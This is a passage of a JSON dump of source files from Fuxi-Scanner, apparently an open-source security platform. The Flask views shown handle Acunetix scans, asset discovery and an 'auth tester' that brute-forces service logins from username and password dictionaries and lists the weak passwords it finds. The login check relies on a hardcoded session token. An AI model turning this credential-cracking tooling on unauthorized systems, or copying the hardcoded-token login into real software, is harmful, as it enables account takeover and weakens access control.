    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Week Passwd List</h1>\n            <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"week-passwd-list\">Week Passwd List</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                        <thead>\n                        <tr class=\"text-center\">\n                            <th>Task Name</th>\n                            <th>Target</th>\n                            <th>Service</th>\n                            <th>Username</th>\n                            <th>Password</th>\n                            <th>Date</th>\n                            <th>Manage</th>\n                        </tr>\n                        </thead>\n                        <tbody>\n                        {% for i in weekpasswd_data %}\n                            <tr class=\"text-center\">\n                                <td>{{ i['task_name'] }}</td>\n                                <td>{{ i['target'] }}</td>\n                                <td>{{ i['service'] | upper}}</td>\n                                <td>{{ i['username'] }}</td>\n                                <td>{{ i['password'] }}</td>\n                                <td>{{ i['date'] }}</td>\n                                <td class=\"text-center\">\n                                    <a onclick=\"delete_result('{{ i['_id'] }}')\"  role=\"button\" href=\"#\" title=\"Delete\">\n                                        <i class=\"ace-icon fa fa-trash-o bigger-130\"></i>\n                                    </a>\n                                </td>\n                            </tr>\n                        {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/jquery/jquery.bootstrap-duallistbox.js\"></script>\n\n    <script src=\"static/js/server/week-passwd-list.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-10\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/acunetix_scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-22\n# @File    : acunetix_scanner.py\n# @Desc    : \"\"\n\nimport time\nfrom bson import ObjectId\nfrom flask import Blueprint, render_template, request, jsonify\nfrom fuxi.views.lib.parse_target import parse_target\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\nfrom fuxi.views.modules.acunetix_scanner.awvs_api import AcunetixScanner\n\nacunetix_scanner = Blueprint('acunetix_scanner', __name__)\nacunetix_db = db_name_conf()['acunetix_db']\n\n\n@acunetix_scanner.route('/acunetix-scanner', methods=['GET', 'POST'])\n@login_check\ndef acunetix_view():\n    # scanner view\n    if request.method == \"GET\":\n        acunetix_task = connectiondb(acunetix_db).find()\n        return render_template('acunetix-scanner.html', acunetix_task=acunetix_task)\n    else:\n        if request.form.get('source') == \"new_scan\":\n            target_id = []\n            task_name = request.form.get('task_name')\n            target_list = request.form.get('target_addr').split(\"\\n\")\n            scan_type = request.form.get('scan_type')\n            description_val = request.form.get('description_val')\n            for target in parse_target(target_list):\n                target_id.append(AcunetixScanner().start_task(target, description_val, scan_type)['target_id'])\n            task_data = {\n                \"task_name\": task_name,\n                \"target_list\": target_list,\n                \"scan_type\": scan_type,\n                \"description\": description_val,\n                \"status\": \"\",\n                \"target_id\": target_id,\n                \"date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n            }\n            connectiondb(acunetix_db).insert(task_data)\n            # print(new_scan)\n            return \"success\"\n        elif request.form.get('source') == \"delete_task\":\n            task_id = request.form.get('delete')\n            target_id = connectiondb(acunetix_db).find_one({\"_id\": ObjectId(task_id)})['target_id']\n            if connectiondb(acunetix_db).remove({\"_id\": ObjectId(task_id)}):\n                for t_id in target_id:\n                    AcunetixScanner().delete_target(t_id)\n                return \"success\"\n            else:\n                return \"warning\"\n        elif request.form.get('source') == \"download_report\":\n            task_id = request.form.get('task_id')\n            target_id = connectiondb(acunetix_db).find_one({\"_id\": ObjectId(task_id)})['target_id']\n            task_name = connectiondb(acunetix_db).find_one({\"_id\": ObjectId(task_id)})['task_name']\n            report_url = AcunetixScanner().reports(target_id, 'targets', task_name)\n            if report_url:\n                return jsonify({\"html_url\": report_url[0], \"pdf_url\": report_url[1]})\n            else:\n                return \"warning\"\n\n\n@acunetix_scanner.route('/acunetix-tasks', methods=['GET', 'POST'])\n@login_check\ndef acunetix_tasks():\n    # scanner view\n    if request.method == \"GET\":\n        try:\n            tasks_info = AcunetixScanner().get_all()\n        except Exception as e:\n            print(e)\n            tasks_info = ''\n        return render_template('acunetix-tasks.html', tasks_info=tasks_info)\n    else:\n        if request.form.get('source') == \"delete_scan\":\n            scan_id = request.form.get('delete')\n            result = AcunetixScanner().delete_scan(scan_id)\n            if result:\n                return \"success\"\n            else:\n                return \"warning\"\n        elif request.form.get('source') == \"report\":\n            # scan_id type is list\n            scan_id = [request.form.get('scan_id')]\n            report_url = AcunetixScanner().reports(scan_id, 'scans', scan_id)\n            if report_url:\n                return jsonify({\"html_url\": report_url[0], \"pdf_url\": report_url[1]})\n            else:\n                return \"warning\"\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/asset_management.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-10\n# @File    : asset_management.py\n# @Desc    : \"\"\n\nimport time\nimport json\nfrom threading import Thread\nfrom flask import Blueprint, render_template, request, jsonify, redirect, url_for\nfrom bson import ObjectId\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\nfrom instance import config_name\nfrom fuxi.views.modules.discovery.asset_discovery import AssetDiscovery\n\nasset_management = Blueprint('asset_management', __name__)\ntasks_db = db_name_conf()['tasks_db']\nasset_db = db_name_conf()['asset_db']\nserver_db = db_name_conf()['server_db']\nsubdomain_db = db_name_conf()['subdomain_db']\nvul_db = db_name_conf()['vul_db']\nplugin_db = db_name_conf()['plugin_db']\nconfig_db = db_name_conf()['config_db']\n\n\n# new asset view\n@asset_management.route('/new-asset', methods=['GET', 'POST'])\n@login_check\ndef new_asset():\n    # default asset view\n    if request.method == \"GET\":\n        return render_template('new-asset.html')\n    else:\n        # create asset (post)\n        if request.form.get(\"source\") == \"new_asset\":\n            asset_name = request.form.get('asset_name')\n            asset_host = request.form.get('asset_host').replace('\\r', '').split('\\n', -1),\n            dept_name = request.form.get('dept_name')\n            admin_name = request.form.get('admin_name')\n            discover_option = request.form.get('discover_option')\n            if discover_option == \"true\":\n                discover_option = 'Enable'\n            else:\n                discover_option = 'Disallow'\n            asset_data = {\n                'asset_name': asset_name,\n                'asset_host': asset_host[0],\n                'dept_name': dept_name,\n                'admin_name': admin_name,\n                \"asset_date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n                'discover_option': discover_option,\n            }\n            asset_id = connectiondb(asset_db).insert_one(asset_data).inserted_id\n            if discover_option == \"Enable\":\n                scanner = AssetDiscovery(asset_id)\n                t1 = Thread(target=scanner.set_discovery, args=())\n                t1.start()\n                return \"success\"\n            else:\n                return \"success\"\n        else:\n            return \"Warning\"\n\n\n# asset view\n@asset_management.route('/asset-management', methods=['GET', 'POST'])\n@login_check\ndef asset_view():\n    if request.method == \"GET\":\n        # asset delete\n        if request.args.get(\"delete\"):\n            asset_id = request.args.get(\"delete\")\n            if connectiondb(asset_db).delete_one({'_id': ObjectId(asset_id)}):\n                return \"success\"\n\n        # get asset info\n        elif request.args.get(\"edit\"):\n            asset_id = request.args.get(\"edit\")\n            try:\n                asset_info = connectiondb(asset_db).find_one({'_id': ObjectId(asset_id)})\n                asset_info_json = {\n                    'asset_name': asset_info['asset_name'],\n                    'admin_name': asset_info['admin_name'],\n                    'dept_name': asset_info['dept_name'],\n                    'asset_id': asset_id,\n                    'asset_host': '\\n'.join(asset_info['asset_host']),\n                }\n                return jsonify(asset_info_json)\n            except Exception as e:\n                print(e)\n\n        # get asset host info for new scan\n        elif request.args.get(\"scan\"):\n            asset_id = request.args.get(\"scan\")\n            try:\n                asset_host = connectiondb(asset_db).find_one({'_id': ObjectId(asset_id)})['asset_host']\n                asset_host_json = {\n                    'asset_host': '\\n'.join(asset_host),\n                }\n                return jsonify(asset_host_json)\n            except Exception as e:\n                print(e)\n        else:\n            # asset list(view)\n            config_info = connectiondb(config_db).find_one({\"config_name\": config_name})\n            asset_info = connectiondb(asset_db).find()\n            plugin_info = connectiondb(plugin_db).find()\n            username_list = '\\n'.join(config_info['username_dict'])\n            password_list = '\\n'.join(config_info['password_dict'])\n            protocols = config_info['auth_service']\n            return render_template(\"asset-management.html\", asset_info=asset_info, plugin_info=plugin_info,\n                                   protocols=protocols, username_list=username_list, password_list=password_list)\n\n    else:\n        # asset db update\n        if request.form.get(\"source\") == \"asset_update\":\n            asset_id = request.form.get('asset_id')\n            asset_name = request.form.get('asset_name')\n            asset_host = request.form.get('host_val').replace('\\r', '').split('\\n', -1),\n            dept_name = request.form.get('dept_name')\n            admin_name = request.form.get('admin_name')\n            discover_option = request.form.get('discover_option')\n            if discover_option == \"true\":\n                discover_option = 'Enable'\n            else:\n                discover_option = 'Disallow'\n            update_asset = connectiondb(asset_db).update_one(\n                {'_id': ObjectId(asset_id)},\n                {'$set': {\n                    'asset_name': asset_name,\n                    'dept_name': dept_name,\n                    'asset_host': asset_host[0],\n                    'admin_name': admin_name,\n                    \"asset_date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n                    'discover_option': discover_option,\n                }\n                }\n            )\n            if update_asset:\n                if discover_option == \"Enable\":\n                    scanner = AssetDiscovery(ObjectId(asset_id))\n                    t1 = Thread(target=scanner.set_discovery, args=())\n                    t1.start()\n                    return \"success\"\n            else:\n                return \"Warning\"\n\n\n# asset server view\n@asset_management.route('/asset-services', methods=['GET', 'POST'])\n@login_check\ndef asset_server():\n    if request.method == \"GET\":\n        plugin_info = connectiondb(plugin_db).find()\n        if request.args.get('asset'):\n            asset_id = request.args.get('asset')\n            server_data = connectiondb(server_db).find({\"tag\": {\"$ne\": \"delete\"}, 'asset_id': ObjectId(asset_id)})\n            return render_template(\"asset-services.html\", server_data=server_data, plugin_info=plugin_info)\n        elif request.args.get('delete'):\n            server_id = request.args.get('delete')\n            if connectiondb(server_db).update_one({'_id': ObjectId(server_id)}, {\"$set\": {\"tag\": \"delete\"}}):\n                return redirect(url_for('asset_management.asset_server'))\n        elif request.args.get('info'):\n            server_id = request.args.get('info')\n            server_info = connectiondb(server_db).find_one({\"tag\": {\"$ne\": \"delete\"}, '_id': ObjectId(server_id)})\n            if server_info:\n                del server_info['_id']\n                del server_info['asset_id']\n                return jsonify(server_info)\n            else:\n                return jsonify({\"result\": \"Warning\"})\n        server_data = connectiondb(server_db).find({\"tag\": {\"$ne\": \"delete\"}})\n        return render_template(\"asset-services.html\", server_data=server_data, plugin_info=plugin_info)\n    else:\n        if request.form.get('source') == 'server_scan':\n            server_host = []\n            server_list = request.form.get('server_list').split(\",\")\n            for server_id in server_list:\n                server_info = connectiondb(server_db).find_one({\"_id\": ObjectId(server_id)})\n                server_host.append(server_info['host'] + \":\" + str(server_info['port']))\n            return \"\\n\".join(server_host)\n\n\n@asset_management.route('/search', methods=['GET', 'POST'])\n@login_check\ndef search_view():\n    config_info = connectiondb(config_db).find_one({\"config_name\": config_name})\n    username_list = '\\n'.join(config_info['username_dict'])\n    password_list = '\\n'.join(config_info['password_dict'])\n    plugin_info = connectiondb(plugin_db).find()\n    protocols = config_info['auth_service']\n    if request.method == \"GET\":\n        data = \"Your search - \\\"\\\" - did not match any documents.\"\n        return render_template('search.html', data=data, plugin_info=plugin_info, protocols=protocols)\n    else:\n        search_result = []\n        key = request.form.get('search').strip()\n        for i in connectiondb(server_db).find({\"tag\": {\"$ne\": \"delete\"}}, {'_id': 0, 'asset_id': 0}):\n            if key in str(i):\n                search_result.append(i)\n        if len(search_result) == 0:\n            data = \"Your search - \" + key + \" - did not match any documents.\"\n            return render_template('search.html', data=data)\n        else:\n            return render_template('search.html', search_result=search_result, plugin_info=plugin_info,\n                                   username_list=username_list, password_list=password_list, protocols=protocols)\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/auth_tester.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-23\n# @File    : auth_tester.py\n# @Desc    : \"\"\n\nimport time\nfrom threading import Thread\nfrom flask import Blueprint, render_template, request\nfrom bson import ObjectId\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\nfrom instance import config_name\nfrom fuxi.views.modules.auth_tester.auth_scanner import AuthCrack\n\nauth_tester = Blueprint('auth_tester', __name__)\nauth_db = db_name_conf()['auth_db']\nweekpasswd_db = db_name_conf()['weekpasswd_db']\nconfig_db = db_name_conf()['config_db']\n\n\n@auth_tester.route('/new-auth-tester')\n@login_check\ndef view_new_auth_tester():\n    # default view\n    config_info = connectiondb(config_db).find_one({\"config_name\": config_name})\n    username_list = \"\\n\".join(config_info['username_dict'])\n    password_list = \"\\n\".join(config_info['password_dict'])\n    protocols = config_info['auth_service']\n    return render_template('new-auth-tester.html', username_list=username_list, password_list=password_list,\n                           protocols=protocols)\n\n\n@auth_tester.route('/auth-tester', methods=['POST'])\n@login_check\ndef new_auth_tester():\n    # create new task\n    username_list = request.form.get('username_list').split('\\n')\n    password_list = request.form.get('password_list').split('\\n')\n    task_name = time.strftime(\"%y%m%d\", time.localtime()) + \"_\" + request.form.get('task_name')\n    target_list = request.form.get('target_list').split('\\n')\n    recursion = int(request.form.get('recursion'))\n    service = request.form.get('service_list').split(',')\n    args = request.form.get('args')\n    data = {\n        \"task_name\": task_name,\n        \"target\": target_list,\n        \"username\": username_list,\n        \"password\": password_list,\n        \"service\": service,\n        \"recursion\": recursion,\n        \"status\": \"Queued\",\n        \"args\": args,\n        \"date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n        \"week_count\": 0,\n    }\n    task_id = connectiondb(auth_db).insert_one(data).inserted_id\n    if task_id:\n        scanner = AuthCrack(task_id)\n        t1 = Thread(target=scanner.start_scan, args=())\n        t1.start()\n        return 'success'\n    else:\n        return False\n\n\n@auth_tester.route('/auth-tester-tasks', methods=['GET', 'POST'])\n@login_check\ndef task_management():\n    if request.method == \"GET\":\n        # delete task\n        if request.args.get('delete'):\n            task_id = request.args.get('delete')\n            connectiondb(weekpasswd_db).update({\"task_id\": ObjectId(task_id)}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n            if connectiondb(auth_db).remove({\"_id\": ObjectId(task_id)}):\n                return \"success\"\n        # rescan task\n        elif request.args.get('rescan'):\n            task_id = request.args.get('rescan')\n            # connectiondb(weekpasswd_db).remove({\"task_id\": ObjectId(task_id)})\n            connectiondb(weekpasswd_db).update({\"task_id\": ObjectId(task_id)}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n            connectiondb(auth_db).update_one({\"_id\": ObjectId(task_id)}, {\"$set\": {\n                \"status\": \"Queued\",\n                \"date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n                \"week_count\": 0,\n            }})\n            scanner = AuthCrack(ObjectId(task_id))\n            if scanner:\n                t1 = Thread(target=scanner.start_scan, args=())\n                t1.start()\n                return \"success\"\n\n        # default view\n        else:\n            auth_tasks = connectiondb(auth_db).find()\n            return render_template('auth-tester-tasks.html', auth_tasks=auth_tasks)\n    # return target info\n    elif request.form.get('source') == \"target_info\":\n        task_id = request.form.get('task_id')\n        # list to string\n        target_info = '\\n'.join(connectiondb(auth_db).find_one({\"_id\": ObjectId(task_id)})['target']),\n        return target_info\n\n\n@auth_tester.route('/week-passwd-list', methods=['GET', 'POST'])\n@login_check\ndef week_passwd_list():\n    if request.method == \"GET\":\n        if request.args.get('delete'):\n            _id = request.args.get('delete')\n            # delete week password\n            # if connectiondb(weekpasswd_db).remove({\"_id\": ObjectId(_id)}):\n            if connectiondb(weekpasswd_db).update_one({\"_id\": ObjectId(_id)}, {\"$set\": {\"tag\": \"delete\"}}):\n                return \"success\"\n        # screening result by task_id\n        elif request.args.get('task'):\n            _id = request.args.get('task')\n            weekpasswd_data = connectiondb(weekpasswd_db).find({\"task_id\": ObjectId(_id), \"tag\": {\"$ne\": \"delete\"}})\n            return render_template('week-passwd-list.html', weekpasswd_data=weekpasswd_data)\n        # default view\n        else:\n            weekpasswd_data = connectiondb(weekpasswd_db).find({\"tag\": {\"$ne\": \"delete\"}})\n            return render_template('week-passwd-list.html', weekpasswd_data=weekpasswd_data)\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/authenticate.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-10\n# @File    : authenticate.py\n# @Desc    : \"\"\n\nfrom flask import Blueprint, render_template, request, redirect, url_for, Flask, session\nfrom instance import config\nfrom functools import wraps\n\nauthenticate = Blueprint('authenticate', __name__)\nProductionConfig = config.ProductionConfig\napp = Flask(__name__)\napp.config.from_object(ProductionConfig)\n\n\n@authenticate.route('/login', methods=['GET', 'POST'])\ndef login_view():\n    # login view\n    if request.method == 'POST':\n        # username = request.form.get('username')\n        password = request.form.get('password')\n        if password == app.config.get('WEB_PASSWORD'):\n            try:\n                session['login'] = 'A1akPTQJiz9wi9yo4rDz8ubM1b1'\n                return redirect(url_for('index.view_base'))\n            except Exception as e:\n                print(e)\n                return render_template('login.html', msg=\"Internal Server Error\")\n        else:\n            return render_template('login.html', msg=\"Invalid Password\")\n    return render_template('login.html')\n\n\n# login-out\n@authenticate.route('/login-out')\ndef login_out():\n    session['login'] = ''\n    return redirect(url_for('authenticate.login_view'))\n\n\n# login-check\ndef login_check(f):\n    @wraps(f)\n    def wrapper(*args, **kwargs):\n        try:\n            if \"login\" in session:\n                if session['login'] == 'A1akPTQJiz9wi9yo4rDz8ubM1b1':\n                    return f(*args, **kwargs)\n                else:\n                    return redirect(url_for('authenticate.login_view'))\n            else:\n                return redirect(url_for('authenticate.login_view'))\n        except Exception, e:\n            print e\n            return redirect(url_for('authenticate.login_view'))\n    return wrapper\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/dashboard.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-15\n# @File    : dashboard.py\n# @Desc    : \"\"\n\nimport datetime\nimport re\nfrom collections import Counter\nfrom flask import Blueprint, render_template\nfrom bson import ObjectId\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\n\ndashboard = Blueprint('dashboard', __name__)\n\nvul_db = db_name_conf()['vul_db']\nplugin_db = db_name_conf()['plugin_db']\ntasks_db = db_name_conf()['tasks_db']\nasset_db = db_name_conf()['asset_db']\nweekpasswd_db = db_name_conf()['weekpasswd_db']\nserver_db = db_name_conf()['server_db']\n\n\n@dashboard.route('/dashboard')\n@login_check\ndef view_dashboard():\n    dashboard_data = {\n        \"vul_count\": get_count()['vul_count'],\n        \"plugin_count\": get_count()['plugin_count'],\n        \"week_passwd_count\": get_count()['week_passwd_count'],\n        \"server_count\": get_count()['server_count'],\n        \"vul_trend_date\": vul_trend()['date'],\n        \"vul_trend_count\": vul_trend()['count'],\n        \"host_trend_count\": host_trend()['count'],\n        \"host_trend_date\": host_trend()['date'],\n        \"server_trend_count\": server_trend()['count'],\n        \"server_trend_date\": server_trend()['date'],\n        \"week_passwd_trend\": week_passwd_trend()['count'],\n        \"vul_stats_name\": vul_dist()[0],\n        \"vul_stats_count\": vul_dist()[1],\n        \"password_stats_count\": week_passwd_dist()[1],\n        \"password_stats_val\": week_passwd_dist()[0],\n    }\n    return render_template('dashboard.html', dashboard_data=dashboard_data)\n\n\n# get vul,plugin,week passwd,asset count\ndef get_count():\n    asset_count = 0\n    for i in connectiondb(asset_db).find():\n        asset_count += len(i['asset_host'])\n    count = {\n        \"vul_count\": connectiondb(vul_db).count({\"tag\": {\"$ne\": \"delete\"}}),\n        \"week_passwd_count\": connectiondb(weekpasswd_db).count({\"tag\": {\"$ne\": \"delete\"}}),\n        \"plugin_count\": connectiondb(plugin_db).count(),\n        \"server_count\": len(connectiondb(server_db).distinct(\"host\", {\"tag\": {\"$ne\": \"delete\"}})),\n    }\n    return count\n\n\n# Vulnerability Trend dashboard\ndef vul_trend():\n    vul_day_count = []\n    vul_date_list = []\n    vul_trend_info = {}\n    now_date = datetime.datetime.now()\n    for scan_date in range(6, -1, -1):\n        vul_date = (now_date - datetime.timedelta(scan_date)).strftime(\"%Y-%m-%d\")\n        vul__day_count = connectiondb(vul_db).find({'date': re.compile(vul_date)}).count()\n        vul_day_count.append(vul__day_count)\n        vul_date_list.append(vul_date)\n        vul_trend_info['date'] = vul_date_list\n        vul_trend_info['count'] = vul_day_count\n    return vul_trend_info\n\n\n# host\ndef host_trend():\n    host_day_count = []\n    host_date_list = []\n    host_trend_info = {}\n    now_date = datetime.datetime.now()\n    for scan_date in range(6, -1, -1):\n        host_date = (now_date - datetime.timedelta(scan_date)).strftime(\"%Y-%m-%d\")\n        host__day_count = len(connectiondb(server_db).find({\"date\": re.compile(host_date)}).distinct(\"host\"))\n        host_day_count.append(host__day_count)\n        host_date_list.append(host_date)\n        host_trend_info['date'] = host_date_list\n        host_trend_info['count'] = host_day_count\n    return host_trend_info\n\n\n# server\ndef server_trend():\n    server_day_count = []\n    server_date_list = []\n    server_trend_info = {}\n    now_date = datetime.datetime.now()\n    for scan_date in range(6, -1, -1):\n        server_date = (now_date - datetime.timedelta(scan_date)).strftime(\"%Y-%m-%d\")\n        server__day_count = connectiondb(server_db).find({\"date\": re.compile(server_date)}).count()\n        server_day_count.append(server__day_count)\n        server_date_list.append(server_date)\n        server_trend_info['date'] = server_date_list\n        server_trend_info['count'] = server_day_count\n    return server_trend_info\n\n\ndef week_passwd_trend():\n    week_passwd_info = {}\n    week_passwd_count = []\n    now_date = datetime.datetime.now()\n    for scan_date in range(6, -1, -1):\n        _date = (now_date - datetime.timedelta(scan_date)).strftime(\"%Y-%m-%d\")\n        count = connectiondb(weekpasswd_db).find({'date': re.compile(_date)}).count()\n        week_passwd_count.append(count)\n        week_passwd_info['count'] = week_passwd_count\n    return week_passwd_info\n\n\n# Vulnerability Distribution\ndef vul_dist():\n    plugin_count_list = []\n    plugin_stats_name = []\n    plugin_stats_count = []\n    for i in connectiondb(vul_db).find():\n        plugin_count_list.append(i['plugin_name'])\n    word_counts = Counter(plugin_count_list)\n    top_10 = word_counts.most_common(10)\n    for i in top_10:\n        plugin_name = i[0]\n        vul_count = i[1]\n        plugin_stats_name.append(plugin_name)\n        plugin_stats_count.append(vul_count)\n    return plugin_stats_name, plugin_stats_count\n\n\n# Week password Distribution\ndef week_passwd_dist():\n    tmp_list = []\n    week_passwd_name = []\n    week_passwd_count = []\n    for i in connectiondb(weekpasswd_db).find():\n        tmp_list.append(i['password'])\n    word_counts = Counter(tmp_list)\n    top_10 = word_counts.most_common(10)\n    for i in top_10:\n        week_passwd_name.append(i[0])\n        week_passwd_count.append(i[1])\n    return week_passwd_name, week_passwd_count\n\n\ndef asset_server():\n    pass\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/index.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-10\n# @File    : index.py\n# @Desc    : \"\"\n\nfrom flask import Blueprint, redirect, url_for\nfrom fuxi.views.authenticate import login_check\n\nindex = Blueprint('index', __name__)\n\n\n@index.route('/index')\n@login_check\ndef view_index():\n    return redirect(url_for('dashboard.view_dashboard'))\n\n\n@index.route('/')\n@login_check\ndef view_base():\n    return redirect(url_for('dashboard.view_dashboard'))\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/lib/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-10\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/lib/get_title.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-21\n# @File    : get_title.py\n# @Desc    : \"\"\n\nimport requests\nimport re\n\n\nclass TitleParser:\n    def __init__(self, target):\n        self.target = target\n        self.title = ''\n\n    def parser_title(self):\n        try:\n            res = requests.get(self.target)\n            match = re.search('<title>(.*?)</title>', res.content)\n            if match:\n                self.title = match.group(1)\n            else:\n                self.title = 'None'\n        except Exception as e:\n            self.title = 'ERR_CONNECTION_REFUSED'\n        return self.title\n\n\ndef get_title(target, subdomain_id):\n    target_url = \"http://\" + target\n    result = {\n        \"title\": TitleParser(target_url).parser_title(),\n        \"_id\": subdomain_id\n    }\n    return result\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/lib/mongo_db.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-10\n# @File    : mongo_db.py\n# @Desc    : \"\"\n\nfrom flask import Flask\nfrom pymongo import MongoClient\nfrom instance import config\n\nProductionConfig = config.ProductionConfig\napp = Flask(__name__)\napp.config.from_object(ProductionConfig)\ndb_host = app.config.get('DB_HOST')\ndb_port = app.config.get('DB_PORT')\ndb_username = app.config.get('DB_USERNAME')\ndb_password = app.config.get('DB_PASSWORD')\ndb_name = app.config.get('DB_NAME')\n\n\ndef connectiondb(collection):\n    client = MongoClient(db_host, db_port)\n    db = client[db_name]\n    db.authenticate(db_username, db_password)\n    dbcollection = db[collection]\n    return dbcollection\n\n\ndef db_management(command):\n    client = MongoClient(db_host, db_port)\n    db = client[db_name]\n    db.authenticate(db_username, db_password)\n    if command == 'collection_names':\n        result = db.collection_names()\n        return result\n\n\ndef db_name_conf():\n    asset_db = app.config.get('ASSET_DB')\n    tasks_db = app.config.get('TASKS_DB')\n    vul_db = app.config.get('VULNERABILITY_DB')\n    plugin_db = app.config.get('PLUGIN_DB')\n    config_db = app.config.get('CONFIG_DB')\n    server_db = app.config.get('SERVER_DB')\n    subdomain_db = app.config.get('SUBDOMAIN_DB')\n    domain_db = app.config.get('DOMAIN_DB')\n    weekpasswd_db = app.config.get('WEEKPASSWD_DB')\n    port_db = app.config.get('PORT_DB')\n    auth_db = app.config.get('AUTH_DB')\n    search_db = app.config.get('SEARCH_DB')\n    acunetix_db = app.config.get('ACUNETIX_DB')\n    db_name_dict = {\n        'asset_db': asset_db,\n        'tasks_db': tasks_db,\n        'vul_db': vul_db,\n        'plugin_db': plugin_db,\n        'config_db': config_db,\n        'server_db': server_db,\n        'subdomain_db': subdomain_db,\n        'domain_db': domain_db,\n        'weekpasswd_db': weekpasswd_db,\n        'port_db': port_db,\n        'auth_db': auth_db,\n        'search_db': search_db,\n        'acunetix_db': acunetix_db,\n    }\n    return db_name_dict\n\n\nif __name__ == \"__main__\":\n    print db_management('collection_names')\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/lib/parse_target.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-15\n# @File    : parse_target.py\n# @Desc    : \"\"\n\nimport ipaddr\nimport re\n\n\ndef parse_target(host_list):\n    result_list = []\n    for host in host_list:\n        host = host.strip()\n        re_ip = re.compile('\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$')\n        re_ips = re.compile('\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/\\d{1,2}$')\n        re_url = re.compile('[^\\s]*.[a-zA-Z]')\n        re_ip_port = re.compile('\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}$')\n        re_url_port = re.compile('[^\\s]*.[a-zA-Z]:\\d{1,5}')\n        if re_ip.match(host):\n            result_list.append(host)\n        elif re_ips.match(host):\n            hosts = ipaddr.IPv4Network(host).iterhosts()\n            for ip in hosts:\n                result_list.append(str(ip))\n        elif re_url.match(host):\n            result_list.append(host)\n        elif re_ip_port.match(host):\n            result_list.append(host)\n        elif re_url_port.match(host):\n            result_list.append(host)\n        else:\n            print(\"[!]\", host, 'Target is not recognized as legal')\n    return result_list\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-14\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/__init__.py",
